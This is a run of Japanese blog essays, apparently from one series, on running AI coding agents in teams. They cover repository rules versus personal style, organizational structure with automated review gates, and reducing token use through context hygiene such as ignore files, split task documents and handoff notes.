たとえばビルドコマンドがnpm run buildなのかpnpm buildなのかを、人によって別々に解釈してはいけません。自動化パイプラインとローカル検証が同じコマンドを基準に動かなければならないからです。Gitの規則も同様です。マルチエージェントで同時に作業する環境では、任意のstash利用、要求されていないブランチ変更、広範囲の非原子的なコミットが実際の衝突を生みます。

セキュリティ境界については言うまでもありません。実際の電話番号、本番環境の環境変数、非公開鍵、顧客データのサンプルといったものは、チームのスタイル選好ではなく禁止リストです。こうした内容は個人プロンプトや暗黙知に置いてはならず、リポジトリの文書と自動スキャンの規則にともに残っていなければなりません。

ワークフローの順序も同じ文脈です。実装の前に既存コードを読み、計画を立て、それから変更させるという手順は、単なる形式主義ではありません。エージェントは質問を減らすほど速くなりますが、誤った仮定の上で速くなれば、後でより高くつきます。ですから探索と計画を先に要求する規則は、好みではなくコスト削減の装置です。

ここでもう一つ重要なポイントがあります。チームがすでに自動化に依存しているなら、その自動化が期待する形式もまた共通規則になります。たとえばConventional Commits形式がリリースノート、チェンジログ、CIルーティングに結びついているなら、それはもはや好みではありません。逆に単に「読みやすい」水準の形式選好であれば、チームレベルの合意であってよく、必ずしもリポジトリの中核規則に格上げする必要はありません。

反復手順をどこに置くかも同じ基準で見ることができます。OpenClawはリリースやセキュリティ点検のような複雑な反復業務をAGENTS.mdの本文に長く書くのではなく、別のスキルとして分離しています。²⁶ これもまた良い区分です。リポジトリの中核文書には原則と境界を残し、手続き的な詳細は再利用可能な実行面として分離するほうが長持ちします。

個人の好みとして残してよい領域

逆に次のような領域は、個人やチームの好みとして残しておくことができます。もちろんチームが一貫性のために標準化することはできますが、それがリポジトリの中核的な安全契約である必要はありません。

• セミコロンの使用有無、空白の数、trailing commaのようなフォーマットの細部
• 関数名や変数名の細かなニュアンス
• importの並べ方
• コメントをどの程度まで書くかというスタイル
• テストファイルの配置方法とテストの記述スタイル
• 抽象化を早く行うか遅く行うかという選好
• feature-based構造とlayer-based構造の間の選好
• エラー処理パターンの細かな選択
• プロンプトを長く書くか短く書くかといった個人の作業スタイル

こうした項目は、互いに異なる選択肢がいずれも合理的でありうるものです。たとえばあるチームはstrictな型設定を好み、あるチームはオンボーディングのコストを下げるために段階的に厳格度を上げます。あるチームはResultパターンを好み、あるチームは例外ベースのフローのほうが明確だと感じます。どちらであれ一貫して運用されるなら、十分に合理的でありえます。

重要なのは、こうした好みを完全に無視しようという意味ではないという点です。好みも生産性に影響します。ただし、それをどこに置くかが重要なのです。リポジトリの中核契約として扱うよりも、formatter、linter、テンプレート、サンプルコード、個人プロンプト、チームプレイブックのような軽い装置で扱うほうが適しています。そうしてこそ、好みは維持しつつリポジトリの指針が過度に重くならずに済みます。

とりわけバイブコーディングでは、この違いがいっそう重要になります。エージェントにあらゆる好みを強く注入すれば、コード生成はかえって硬直し、小さな変化でも規則の衝突が多く発生します。一方、好みは緩やかなガイドとして置き、安全と品質に直結する境界だけを強く固定すれば、エージェントははるかに安定して働きます。

この点でもOpenClawは良いヒントを与えてくれます。あのリポジトリのコーディングスタイル規則が本当に防いでいるのは、タブとスペースの選択ではなく、@ts-nocheckの乱用、動的importの混用、プロトタイプの変更といった構造的な欠陥です。²⁵ 表向きはスタイルのセクションに見えても、実際の内容は好みではなく時限爆弾の防止装置に近いのです。

一行の判別基準

実務では複雑に考える必要はありません。次の基準一つでほとんどが分類できます。

違反したときにバグ、衝突、セキュリティ事故、レビューの混乱が起きるならリポジトリ規則です。
違反したときに「私ならこうは書かない」という程度なら好みです。

この基準が良い理由は、技術スタックが変わっても有効だからです。ReactでもGoでも、モノレポでも単一サービスでも、人間とエージェントがともに働く限り、「事故を防ぐ規則」と「選好を表現する規則」は区別されなければなりません。

実践設計：四つの層に分けるとすっきりする

私はリポジトリの運用規則を次の四つの層に分ける方式をおすすめします。

第一に、AGENTS.mdにはハードガードレールだけを置きます。ビルド／テストのコマンド、禁止領域、レビュー必須条件、Gitの安全規則、高リスク変更の承認境界のように、間違えれば事故になるものです。

第二に、チーム共通のコンベンションはコードフォーマッターとリンター、テンプレート、サンプルコードに置きます。命名の選好、importの順序、ファイルの配置方法、コメントスタイルのように、一貫性は重要でも文書として長く読まれる必要はないものです。

第三に、繰り返される複雑な手順はスキルやプレイブックとして分離します。リリース、セキュリティ点検、PR運用のように段階の多い業務を本文に冗長に入れるのではなく、実行可能なワークフローとして切り出す方式です。

第四に、個人の作業スタイルはローカルのプロンプトとエディタ設定に残します。プロンプトの文体、並列エージェントの数、探索の習慣、一時的なチェックリストのようなものは、個人の生産性の領域として置くほうが適しています。

このように分ければリポジトリは軽くなり、チームの合意は自動化され、個人は自分に合った作業スタイルを維持できます。何よりも、エージェントが読む指針の優先順位が鮮明になります。

重要なのは開発者を複製することではない

バイブコーディングの核心は、AIに人間のようにコードを書かせることではありません。むしろ人間とまったく同じに書かなくてもよい領域を受け入れ、その代わり必ず同じでなければならない部分だけを明確に固定することにあります。

良いリポジトリの指針は、「私たちのチームはこういう好みを持つ人々だ」を長々と説明しません。代わりに「このリポジトリではこれだけは必ず守らなければならない」を短く明確に語ります。好みは開いておき、境界は閉じておくのです。

それが結局、AIエージェントをうまく使うチームと、AIを使いながらも疲弊し続けるチームを分ける違いである可能性が高いのです。

バイブコーディングの成否は、AIがつくった変更をチームが反復可能で安全な方法で検証し、デプロイできるようにする組織設計にかかっています。

多くの組織は、バイブコーディングを「開発者がコードをより速くつくる方法」程度に理解しています。だからこそ導入の議論も、たいていツールの導入から始まります。しかし実際の現場で成否を分けるのは、ツールやモデルの性能よりも組織の構造です。

バイブコーディングはオートコンプリートではなく、働き方の再設計に近いものです。組織のメンバー一人ひとりがより広い領域をカバーし、チーム間のハンドオフとコミュニケーションのコストを減らせるとき、生産性は大きくなります。とはいえ、目標が人員削減だというわけではありません。核心は、同じ組織がより多くのことを、より速く、より安全に届けられるようにすることにあります。そのためには、要求をどう分解するか、どの変更をAIに任せてどの変更を人が直接判断するか、どんなテストと承認の手続きを通過すればデプロイするのかを設計しなければなりません。その設計がなければ、AIは生産性を高めるどころか混乱を大きくします。

この記事は、OpenClawの事例と最近のエンタープライズAI導入の流れに共通して現れた教訓をもとに、バイブコーディングを実際の製品開発組織に定着させるための組織設計の原則を整理したものです。

TL;DR

• バイブコーディング導入の成否は、ツールよりも、AIがつくった変更を検証しデプロイする組織構造と責任体系にかかっています。
• リポジトリの指針だけでは足りず、共用プラグイン・ガードレール・承認条件を中央で管理し、現場のチャンピオンがチームの文脈に合わせて調整する必要があります。
• 運用モデルは Research → Plan → Implement → Auto Review → Monitor の流れで設計し、人はすべてのレビューではなく、例外と高リスクの判断に集中すべきです。

コードを減らして書くのではなく、コードを生成するシステムを設計すること

バイブコーディングの環境で、人間の役割がなくなるわけではありません。役割の中心が変わるだけです。直接コードをタイピングする時間は減り、代わりに次の活動の比重が大きくなります。

• 作業を小さな単位に分解すること
• エージェントが従うべき制約とルールを文書化すること
• 承認ポリシーと遮断のしきい値を設計すること
• テスト、レビュー、デプロイのゲートを自動化すること
• 事故と失敗を、ふたたび指針とルールへ還元すること

この変化は、開発者個人のプロンプティングスキルだけでは支えきれません。組織レベルの運用契約が必要です。たとえばリポジトリごとにCLAUDE.md/AGENTS.mdのようなエージェント指針ファイルを置き、ビルド方法、テストコマンド、禁止領域、レビュー基準、セキュリティ境界を機械が読める形で維持しておくことは、いまや選択ではなく基本に近いものです。

結局、重要な問いは「私たちの組織は、AIが生み出した変更をどんな規律とどんな責任構造のなかで扱うのか」です。

リポジトリの指針だけでは足りない。全社共用のプラグインシステムが必要だ

リポジトリ単位のAGENTS.mdは、ローカルな文脈を固定するのに有用です。しかし組織への導入はここで終わりません。チームごとにプロンプトやツール接続をばらばらにコピーして使い始めると、同じ業務を何度も定義することになり、権限統制は散らばり、良いワークフローは一部の個人のノウハウとしてしか残らなくなります。

だからこそ、組織レベルのバイブコーディングには共用プラグインシステムが必要です。ここでいうプラグインとは、単なるプロンプトの寄せ集めではなく、特定の役割や業務に必要なメモリ（ルール）、スキル、フック、コネクター、承認条件を1つの配布単位にまとめた運用パッケージです。言い換えれば、共通スキルは独立した配布物ではなく共通プラグインの一部であり、実際のガードレールは、プラグイン内のルール、実行スキル、自動呼び出しフックが一緒に働いてはじめて強制されます。Anthropicが2026年2月24日に発表したClaude Coworkのアップデートも、同じ方向を示しています。管理者は社内専用のプラグインマーケットプレイスをつくり、承認されたコネクターをバンドルし、非公開のGitHubリポジトリをプラグインのソースとして接続し、チームまたはユーザー単位で自動インストールとアクセスを制御できるようになりました。¹

個人のプロンプトは個人の生産性を高めます。共用プラグインは組織の一貫性をつくります。重要な運用単位は「誰がうまく使うか」ではなく、「誰が使っても同じ境界と品質基準が適用されるか」でなければなりません。

組織レベルのプラグインシステムは、少なくとも次のことを行うべきです。

• 検証済みのワークフローを再利用可能な形で配布すること
• 承認されたコネクターとデータアクセス範囲を中央で統制すること
• チームごとの文脈の違いを、プラグインのバージョンと設定で吸収すること
• 使用量、コスト、ツール呼び出しを観測し、どの自動化が実際に効果的かを測定すること

結局のところ、リポジトリの指針は「このコードベースでどう働くか」を定義し、共用プラグインは「私たちの組織でAIがどんなやり方で働くか」を定義します。前者がローカルな運用契約なら、後者は組織共通の運用プロダクトです。

なぜ多くのAI導入は思ったほど効果を出さないのか

バイブコーディングの導入が期待ほど効果を出さない理由は、たいてい似ています。生成の速さだけを見て、統制の構造を後から付け足すからです。序盤は誰もが速いと感じます。PRが速く上がり、ドキュメントの草案もあっという間にでき、テストコードも以前より簡単につくれます。ところが数か月が経つと、レビューの疲労度が上がり、誰が何に責任を持つのかが曖昧になり、運用の安定性が揺らぎ始めます。

こうした現象は不思議なことではありません。エンジニアリングの基礎が弱い組織ほど、AIは速度を上げる前にノイズを先に大きくします。小さなバッチで頻繁にデプロイする習慣がなく、テストの信頼度が低く、コードレビューの基準が曖昧な状態なら、AIはボトルネックを解決するどころか、ボトルネックにより多くの変更を押し込みます。

ですからバイブコーディングの導入は、生産性プロジェクトではなく運用設計プロジェクトとして扱うべきです。速度は結果であって出発点ではありません。まず答えるべき問いは、次の4つです。

• どの変更はAIが自律的に実行してよいのか
• どの変更は必ず人間の承認を経なければならないのか
• どんな証跡があればレビュアーは安心して承認できるのか
• 失敗から得た教訓をどこに蓄積するのか

この問いに答えられないままツールだけを配布すれば、組織はほどなく「AIを使ってはいるが、かえって疲れた」という状態に到達します。

推奨する組織モデル：中央プラットフォーム + 現場チャンピオン + 最終オーナーシップ

ほとんどの組織にとって最も現実的な答えは、ハイブリッドモデルです。中央のプラットフォームチームだけがすべてを統制する方式はボトルネックになり、各プロダクトチームがばらばらにツールを使う方式は速く断片化します。

ハイブリッドモデルは3つの層で構成されます。

第一に、中央のAIプラットフォーム・ガードレールチームが共通インフラを提供します。モデルルーティング、アクセス制御、共用プラグインマーケットプレイス、承認されたコネクター、共通のプロンプト・スキルテンプレート、リポジトリ統合、ログとコストの観測、ポリシーの自動化といった基盤機能は、ここが担うべきです。

第二に、各プロダクトスクワッドにAIチャンピオン、あるいはAIスペシャリストを置きます。この役割はツールを代わりに使ってあげる人ではなく、チームの実際の業務フローに合わせて指針とプラグインを整え、どの作業をAIに委譲するかを判断し、失敗パターンをプラットフォームチームへ返す結節点です。

第三に、最終的な責任は依然としてプロダクトチームが負います。AIがコードをつくったからといって、運用責任がプラットフォームチームへ移ってはいけません。サービス障害、セキュリティ問題、品質問題の最終オーナーは、そのサービスを運用しているチームであるべきです。

この構造を簡単に描くと、次のようになります。

%%{init: {
  'theme': 'base',
  'themeVariables': {
    'background': 'transparent',
    'primaryColor': '#1f2937',
    'primaryTextColor': '#f9fafb',
    'primaryBorderColor': '#60a5fa',
    'secondaryColor': '#0f766e',
    'secondaryTextColor': '#f9fafb',
    'secondaryBorderColor': '#5eead4',
    'tertiaryColor': '#374151',
    'tertiaryTextColor': '#f9fafb',
    'tertiaryBorderColor': '#fbbf24',
    'lineColor': '#94a3b8',
    'clusterBkg': '#111827',
    'clusterBorder': '#64748b',
    'defaultLinkColor': '#94a3b8'
  }
}}%%
flowchart TB
    CTO[CTO / Head of Engineering] --> Platform[AI Platform & Guardrails]
    CTO --> Squads[Product Squads]
    CISO[CISO / Security] --> Governance[AI Security & Governance]

    Platform --> Gateway[LLM Gateway]
    Platform --> DevEx[Repo / IDE / CI Integration]
    Platform --> Evals[Evals & Quality Gates]
    Platform --> Observe[Cost / Logs / Observability]

    Squads --> Leads[EM / Tech Lead]
    Squads --> Champions[AI Champions]

    Governance -. policy .-> Platform
    Governance -. high-risk approval .-> Squads
    Champions -. field feedback .-> Platform

核心は明確です。標準化と共用配布は中央で、文脈の反映は現場で、責任はプロダクトチームが担います。

標準の運用モデルは Research → Plan → Implement → Auto Review → Monitor であるべきだ

バイブコーディングが上手なチームは、いきなり実装から始めません。まず調査し、ディープインタビューで曖昧さを減らし、計画してから実装します。この順序を強制してこそ、初期の誤解のコストを減らせます。

推奨する基本の流れは次のとおりです。

1. 要求やイシューを受け付ける。
2. 既存のコードと制約条件を調査する。
3. 調査と計画の段階で、会社共通またはチーム共通のプラグインに含まれるディープインタビュースキルを実行し、プラグインのフックでこれを常に最初に呼び出して、要求、承認境界、データアクセス、例外条件を確認する。
4. ディープインタビューの結果をもとに、変更計画を文書化する。
5. 実装とテストを進める。
6. 静的検査、セキュリティスキャン、テスト、AIレビューを自動で実行する。
7. ゲートを通過したら、自動マージまたは直接コミットの経路で反映する。
8. デプロイ後、運用指標と異常シグナルを自動でモニタリングする。
9. 事故と例外を、ふたたび指針ファイルとゲートのルールへ反映する。

ここでのディープインタビューは、任意のチェックリストではありません。組織共通またはチーム共通のプラグインのなかに、メモリ（ルール）、スキル、フックの形で含まれ、調査と計画の段階で常に最初に呼び出されなければなりません。そうしてはじめて、リポジトリごとのローカルな指針とは別に、会社レベルのセキュリティ、承認、責任分離のガードレールが毎回同じやり方で適用されます。つまりインタビューそのものが運用ポリシーの実行表面であり、プラグインのフックは、そのポリシーが抜け落ちないように強制する装置であるべきです。

ここで重要なのは3番目と4番目のステップです。計画文書には、少なくとも次の内容が入っている必要があります。

• どのファイルが変わるのか
• 変更の意図は何か
• ディープインタビューで確認した共通ガードレールと例外承認の条件は何か
• どのテストで検証するのか
• 失敗したときにどうロールバックするのか
• セキュリティやデータアクセスに影響があるのか

このディープインタビューと計画の文書化の過程を省くと、実装は速く見えてもレビューが遅くなり、結局は全体のリードタイムがふたたび伸びます。逆に、初期の問いと計画が鮮明であれば、AIははるかに有用な実行エンジンになります。

Human-in-the-Loopはデフォルトではなく、例外処理の経路であるべきだ

ここに1つ重要な転換があります。バイブコーディングの組織では、人がデフォルト経路の毎ステップに介入してはいけません。コード生成だけを自動化し、レビューは依然として人がすべて読む構造なら、ボトルネックは後ろへずれるだけです。速度は生成の段階で上がり、レビューの段階でふたたび崩れます。

このような環境では、PRサイクルタイムやレビュー参加率といった従来の指標も、中核のKPIになりにくいものです。PRのほとんどがセルフマージされたり、ボットのコメントが中心になったりすれば、「レビューが存在する」という事実そのものが品質保証の証拠ではなくなるからです。必要なのは、より多くの人によるレビューではなく、より良い自動品質ゲートです。

つまりデフォルトの経路は、Human-in-the-LoopよりMachine-in-the-Loopに近くあるべきです。理想的な流れは次のとおりです。

• コミットまたは変更案の生成
• リント、型チェック、テスト、シークレットスキャン、SASTの自動実行
• LLMベースのコードレビューの自動実行
• 複数モデルの合意、あるいはルールベースのスコアしきい値による判定
• 通過時に自動マージ、または直接反映
• デプロイ後の異常シグナルの自動監視

人はこの流れに毎回入ってきません。人はしきい値を設計し、例外を処理し、モデル間の意見の相違が大きい場合やセキュリティリスクが高い場合にのみ介入します。言い換えれば、人の役割は「すべてのコードを自分で読むレビュアー」よりも「自動化された検証システムの設計者であり、エスカレーション担当者」に近いのです。

もちろん、例外の境界は必要です。たとえば次の領域には、依然として人の承認が介在しうるでしょう。

• 認証と権限
• 決済と精算
• 個人情報の処理
• データベーススキーマの変更
• 外部システムの権限連携
• インフラのセキュリティ設定

ここでも目標は、全件の手動レビューではありません。人はガードレールの設定に集中し、検証は自動で回すべきです。そうしてはじめて、コード生成とレビューをともに自動化できます。

運用指標はPR中心ではなく、自動化された品質ゲート中心であるべきだ

この点で、運用指標の観点も変わらなければなりません。バイブコーディングの組織で、いまだにPRレビュー時間、レビュー参加率、マージ率といった指標を中核のKPIに置くと、測定体系が現実を歪め始めます。こうした指標は、直接コミットと自動レビューが一般化した組織では簡単に汚染され、あるいは廃棄の対象になります。

したがって運用指標は、人の協業の痕跡よりも、自動化システムが品質をどれだけよく守っているかを中心に設計すべきです。

第一に、チームレベルのデリバリーの推移です。重要なのは個人別のLOC競争ではなく、チーム全体が転換の前後でどれだけ安定して変更を生み出しているかです。コードの変更量は個人の評価指標ではなく、チームレベルのトレンド指標としてのみ使うべきです。

第二に、チームのエンジニアリング健全度です。コミットの粒度、作業領域の集中度、削除比率、メッセージの規律といったシグナルを束ねてエンジニアリングプラクティスを追跡すれば、PRがなくても品質の低下をかなり早い段階で捉えられます。とくに削除比率の低下は、AIが生成したコードを整理せずに積み上げ続けているというシグナルになりえます。

第三に、自動レビューシステムの性能です。たとえばAIゲートの遮断率、繰り返し引っかかる失敗の類型、セキュリティスキャンの検出率、テスト漏れの検知率、モデル間の意見相違の比率といった指標です。とくに複数モデルの合意を使う場合は、平均スコアより標準偏差のほうが重要なことがあります。モデル間の意見の相違が大きい変更は、人が介入すべき候補だからです。

第四に、デプロイ後のサービス健全度です。Change Failure Rate、MTTR、ロールバック比率、ユーザーに影響した障害の件数は、依然として重要です。レビューが自動化されても運用上の問題が増えるのであれば、その自動化は失敗です。

第五に、知識の集中と業務パターンの異常シグナルです。特定の少数に変更が過度に偏っていないか、チームの活動パターンが揺らいでいないか、品質ゲートの失敗が特定の領域に集中していないかを見れば、組織リスクを人より先に検知できます。知識の分散度や外れ値ベースのモニタリングは、この文脈で有用です。

まとめると、バイブコーディング組織のKPIはもはや「人がどれだけ熱心にレビューしたか」ではありません。「自動化された品質ゲートがどれだけ正確に問題をふるい落とし、チームがどれだけ安定して顧客価値をデプロイしているか」です。

自動レビューはブラックボックスではなく、根拠を持った自動化であるべきだ

レビューを自動化するからといって、検証のロジックが不透明になってはいけません。自動レビューシステムは、少なくとも次の原則に従うべきです。

• AIレビューの結果には、遮断の理由と根拠をあわせて残すこと
• 重要な判断の場合は複数のモデルが投票によって追加の安定性を確保し、もしモデル間の意見の相違が大きければ、自動承認ではなくエスカレーションすること
• スコアだけを見せるのではなく、どのファイル、どのパターン、どのテスト漏れが問題なのかを明らかにすること
• 異常シグナルは個人の処罰ではなく、システム改善の入力として使うこと

自動化の目標は人を排除することではなく、人が本当に必要な瞬間にだけ介入するようにすることです。そのためには、自動レビューは沈黙するブラックボックスではなく、機械も読めて人も理解できる証跡システムでなければなりません。

導入ロードマップは小さく始め、運用体系から固めるべきだ

全社一括の導入は、ほぼ必ず失敗します。まずは小さなチーム1つで検証すべきです。最良のパイロット対象は、変化に開かれていて、同時に運用責任も明確なプロダクトチームです。

現実的な3か月のロードマップは、おおむね次の順序をたどります。

%%{init: {
  'theme': 'base',
  'themeVariables': {
    'background': 'transparent',
    'primaryColor': '#2563eb',
    'primaryTextColor': '#f9fafb',
    'primaryBorderColor': '#93c5fd',
    'secondaryColor': '#0f766e',
    'secondaryTextColor': '#f9fafb',
    'secondaryBorderColor': '#5eead4',
    'tertiaryColor': '#7c3aed',
    'tertiaryTextColor': '#f9fafb',
    'tertiaryBorderColor': '#c4b5fd',
    'lineColor': '#94a3b8',
    'textColor': '#e5e7eb',
    'clusterBkg': '#111827',
    'clusterBorder': '#64748b',
    'defaultLinkColor': '#94a3b8'
  }
}}%%
flowchart LR
    W1["1〜2週目
ガードレールの定義
リポジトリ指針の整備"] --> W2["3〜7週目
パイロットスクワッドの運用
品質・リスクの測定"]
    W2 --> W3["8〜10週目
チャンピオンネットワークの構築
共通プラグインの展開"]
    W3 --> W4["11〜12週目
KPIの再整列
オンボーディング・教育の内在化"]

この過程で守るべき原則は明確です。プラットフォームを完璧にするまで待たないこと、逆に現業チームに実験のコストをすべて押し付けないこと、そして成功基準と中止基準をあらかじめ決めておくこと。

たとえばパイロットの8週後には、次の3つを確認できるようになっているべきです。

• AIゲートの遮断率と繰り返し発生する失敗の類型が安定してきているか
• 変更失敗率が悪化していないか
• チームが自ら指針と自動化のルールを更新し始めているか

この3つが見えないなら、ツールの拡散よりも運用設計の補強が先です。

結局必要なのはAIチームではなく、AIネイティブな運用体系だ

バイブコーディングの時代に必要なのは、「AIをうまく使う数人のスタープレイヤー」ではありません。誰もが一定水準以上に安全にAIを活用できるようにする運用体系です。中央プラットフォームは標準とガードレール、共用プラグインシステムを提供し、現場のチャンピオンは文脈を翻訳し、プロダクトチームは最後まで責任を持つ。この3つが噛み合ってはじめて、バイブコーディングは一時的な流行ではなく組織の能力になります。

まとめると、バイブコーディング導入の核心は、開発者をAIで置き換えることではありません。コードの作成と検証、デプロイを取り巻く組織のインターフェースを設計し直す仕事です。リポジトリの指針はローカルな規律をつくり、共用プラグインシステムは組織全体の再利用性と統制をつくります。必要なのは漠然とした速度競争ではなく、より明確な責任、より良い証跡、より強い運用規律です。

AIはコードをつくることができます。しかし、そのコードを組織の成果へ変えるのは、依然として組織設計の役目です。

用語の整理

この記事で使ういくつかの用語は、製品ごとに名前が少しずつ異なります。以下のリンクは、それぞれの概念を最も直接的に説明している公式ドキュメントです。

• AGENTS.md：OpenAI Codexでリポジトリやサブディレクトリに置く作業指針ファイルです。エージェントがどんなルール、コマンド、制約に従うべきかを伝えます。公式ドキュメント：Custom instructions with AGENTS.md
• CLAUDE.md / メモリ（ルール）：Claude Codeで組織、プロジェクト、ユーザーレベルの持続的なルールを階層的に読み込むメモリファイルです。会社共通のルールをグローバルポリシーとして、チームのルールをプロジェクトメモリとして配布できます。公式ドキュメント：How Claude remembers your project
• 共通プラグイン：組織が共通のルールと自動化をまとめて配布する単位です。この記事では、メモリ、スキル、フック、MCP／コネクターの設定を一緒に載せる運用パッケージを指します。公式ドキュメント：Plugins、Plugins reference
• スキル：反復可能な作業のやり方を、再利用可能な形で定義した実行単位です。プラグインのなかに含めることも、プロジェクトや組織レベルに直接配置することもできます。公式ドキュメント：Agent Skills、Agent Skills for Codex
• フック：セッション開始、指針のロード、ツール実行の前後といったイベントに自動で付く、ポリシー・検証の装置です。危険なコマンドの遮断、ディープインタビューの先行実行の強制、後続検証の自動化に使えます。公式ドキュメント：Hooks reference
• MCP / コネクター：モデルが外部ツールとデータの文脈にアクセスする標準の接続レイヤーです。製品のUIではコネクターとして見え、開発ランタイムではMCPサーバーとして現れることが多いものです。公式ドキュメント：Model Context Protocol、Get started with custom connectors using remote MCP
• ディープインタビュー：本記事でいうディープインタビューは、特定ベンダーの固有の製品名ではなく、調査・計画の段階で要求の曖昧さ、承認境界、データアクセス、例外処理を構造化して確認する組織運用のパターンです。実際の実装は通常、メモリ、スキル、フックを組み合わせてつくります。実装基盤の公式ドキュメント：How Claude remembers your project、Agent Skills、Hooks reference

トークン不足はモデル性能の問題ではなく、たいていはコンテキストの運用方法の問題です。

Claude Code、Codex、Geminiのようなバイブコーディングツールを長く使っていると、ある時点から似たような症状が現れます。応答が遅くなり、すでに合意した制約を忘れ、関係のないファイルにまで手を出し始めるのです。これをよく「トークンが足りない」と表現しますが、実際に起きている現象は、より正確に言えばコンテキスト汚染、あるいはContext Rotに近いものです。

Perplexityを通じてまとめたideationメモを読み返してみると、要点ははっきりしています。実際の利用環境では、トークン使用量の大部分は出力ではなく入力コンテキストで発生します。したがって問題を解く最良の方法も「より大きなモデル」ではなく「よりきれいなコンテキスト」なのです。本稿ではその内容をもとに、ツール別の機能紹介ではなく実務の運用戦略を中心に、トークン管理の原則を整理してみます。

TL;DR

• トークン不足は単なる上限の問題ではなく、会話・ログ・文書が入り混じって生じるコンテキスト汚染の問題として捉えるべきです。
• .claudeignore、作業文書の分割、/clearと/compact、handoff文書のように、範囲を絞る習慣がまず先です。
• 良いバイブコーディングとは、長いプロンプトよりも、いま必要な情報だけをモデルに見せるコンテキスト設計に近いものです。

なぜトークンが先に尽きるのか

長いセッションが積み重なり続けると、問題は二つの層で現れます。一つは純粋なトークン上限への到達であり、もう一つはそれより先に訪れる品質の低下です。会話ログ、失敗した試み、暫定的な仮説、長いビルドログ、すでに終わった作業の文脈が残り続けると、モデルはいま重要な情報とすでに破棄された情報を区別しにくくなります。

この現象は、単にコンテキストウィンドウの大きさでは解決しません。長いコンテキストはより多くの情報を収められるようにしてくれますが、その中の情報がきちんと整理されている保証まではしてくれないからです。だからこそトークン管理の核心は、節約そのものよりも選別にあります。

戦略1: .claudeignoreで、そもそも読ませてはいけないものを遮断する

実測ベースで最もROIが高い単一の施策は、.claudeignoreの設定です。ideation文書に引用された事例では、node_modules、ビルド成果物、ログ、バイナリ、大容量画像、lockファイルを除外するだけでも30〜40%程度の削減効果が報告されています。¹²

たとえば、こういった具合です。

node_modules/
.next/
dist/
build/
coverage/
.cache/
*.log
*.db
*.sqlite
.env*
*.png
*.jpg
*.gif
*.mp4

この戦略の本質は節約ではありません。モデルが、そもそも見ても役に立たない情報を見ないようにすることです。とくにlockファイルやビルド成果物は、トークンを多く消費するわりに推論上の価値がほとんどありません。

戦略2: tasks.mdを一つに詰め込まず、インデックス構造に分割する

ideation文書で最も印象的な事例の一つが、単一の大きなtasks.mdをドメイン別文書とINDEX.mdの構造に分けて76.1%の削減を達成したケースです。³

tasks/
├── INDEX.md
├── backend.md
├── frontend.md
├── infra.md
├── security.md
└── archive/

この構造が良い理由は単純です。すべての作業ですべてのタスクを読む必要はないからです。全体の状況はINDEX.mdだけ見ればよく、特定の作業では該当ドメインのファイルだけを読めば済みます。完了した履歴はarchive/に片付けておけば、現在のセッションの作業台から消えます。

トークン管理とは、結局のところ文書の情報アーキテクチャの問題でもあるのです。

戦略3: セッションを長く引きずらず、/clearと/compactを意識的に使う

Claude Codeを基準に見ると、最も即効性が高い方法は/clearと/compactを戦略的に使うことです。⁴⁵

• /clearは作業の文脈を完全に初期化するときに使います。
• /compactは重要な内容だけを残して会話履歴を要約するときに使います。
• 長いデバッグセッションの直後、機能を一つ終えたとき、あるいはコンテキスト使用量が70%程度に達したときにcompactをかける習慣が効果的です。⁵

肝心なのは、長い会話をずっと維持するほうが生産的だという錯覚から抜け出すことです。セッションは長く続けるよりも、短く切って再開できるべきなのです。

戦略4: handoff文書を残して新しいセッションに移る

セッションを頻繁に切るには、再開のコストが低くなければなりません。このとき最も単純で強力な方法が、HANDOFF.mdのような短い引き継ぎ文書を置くことです。⁶

たとえば、以下の程度で十分です。

目標: ログインフローのrace condition解消
修正したファイル: auth_service.ts, login_controller.ts
確認した事実: DBの問題ではなく、APIの重複呼び出しが原因
失敗した試み: mutexの適用は副作用が出たためロールバック
次の作業: idempotency key方式の検討
完了条件: 重複ログインの再現テストが通ること

この文書の目的は、長文の記録を残すことではありません。次のセッションがすぐに働き出せる程度の方向性だけを残すことです。

戦略5: まずPlan modeを通し、実装は後にする

大きな作業をいきなり実行モードに放り込むと、モデルは探索と設計と実装を同じコストセンターの中で一度に処理してしまいます。この進め方は試行錯誤が多く、トークンも多く消費します。ideationでは、まずPlan modeを通して範囲を絞ってから実装に入る習慣が20〜30%の削減に寄与すると整理しています。²

この原則はごく単純です。

1. まず関連ファイルと影響範囲を洗い出す。
2. 修正候補のファイルとアプローチを短く計画する。
3. 計画から不要な範囲を削ぎ落とす。
4. そのあとで初めて実装する。

つまりトークンの節約は、プロンプトを短く書く技術よりも、不要な試行錯誤を事前に取り除く設計の習慣に近いのです。

戦略6: 繰り返す説明はCLAUDE.mdに逃がし、階層的に管理する

セッションのたびにプロジェクト構造やスタイルガイド、禁止ルール、テスト方式まで説明し直しているチームは少なくありません。これは長期的に最も高くつくトークンの浪費です。ideation文書でも、CLAUDE.mdをグローバル・プロジェクト・モジュールの単位でレイヤー化するパターンを推奨しています。⁷

~/
└── CLAUDE.md
project/
├── CLAUDE.md
├── backend/CLAUDE.md
└── frontend/CLAUDE.md

この構造の利点は明快です。常に必要なルールは上位に置き、特定ドメインにだけ必要な情報は下位のモジュールファイルに置きます。そうすれば、すべてのセッションが同じ重いルールファイルを丸ごと抱えて回る必要がなくなります。

とくにCLAUDE.mdには、以下の項目が有用です。⁷⁸

• 中核となる技術スタックとアーキテクチャ
• コーディング規約
• 現在のスプリント目標とブロッカー
• compact時に必ず残すべき情報
• 詳細な文書へつなぐLoad on Demandリンク

つまり良いCLAUDE.mdとは、すべてを盛り込んだ文書ではなく、何をすぐ読み、何を後で読むかを決めてくれるインデックスに近いものです。

戦略7: Skillsを積極的に使い、文書を「常時ロード」から「必要時ロード」に変える

ここからもう一段進むと、CLAUDE.mdだけでは足りません。繰り返し呼び出されるワークフロー、特定ドメインの手順、レビュー基準、デプロイのチェックリスト、セキュリティレビューのルーチンといったものは、skillとして外部化するほうがはるかに優れています。

Anthropicの公式Skillsガイドは、この点をかなり明確に説明しています。⁹ skillsは基本的に**3段階の段階的開示（progressive disclosure）**の構造を持ちます。

• YAML frontmatterは常にロードされます。
• SKILL.mdの本文は、そのskillが関連あると判断されたときにのみロードされます。
• references/のような連結文書は、必要なときにだけ追加で探索されます。

つまりskillの核心的な価値は「知識をたくさん入れること」ではなく、知識を一度に全部入れないことにあります。ここにサブエージェントまで組み合わせれば、効果はさらに大きくなります。Anthropicのsubagent文書も、サブエージェントがメインの会話とは分離されたコンテキストウィンドウを使うことで、メインセッションの汚染を減らすと説明しています。¹⁰

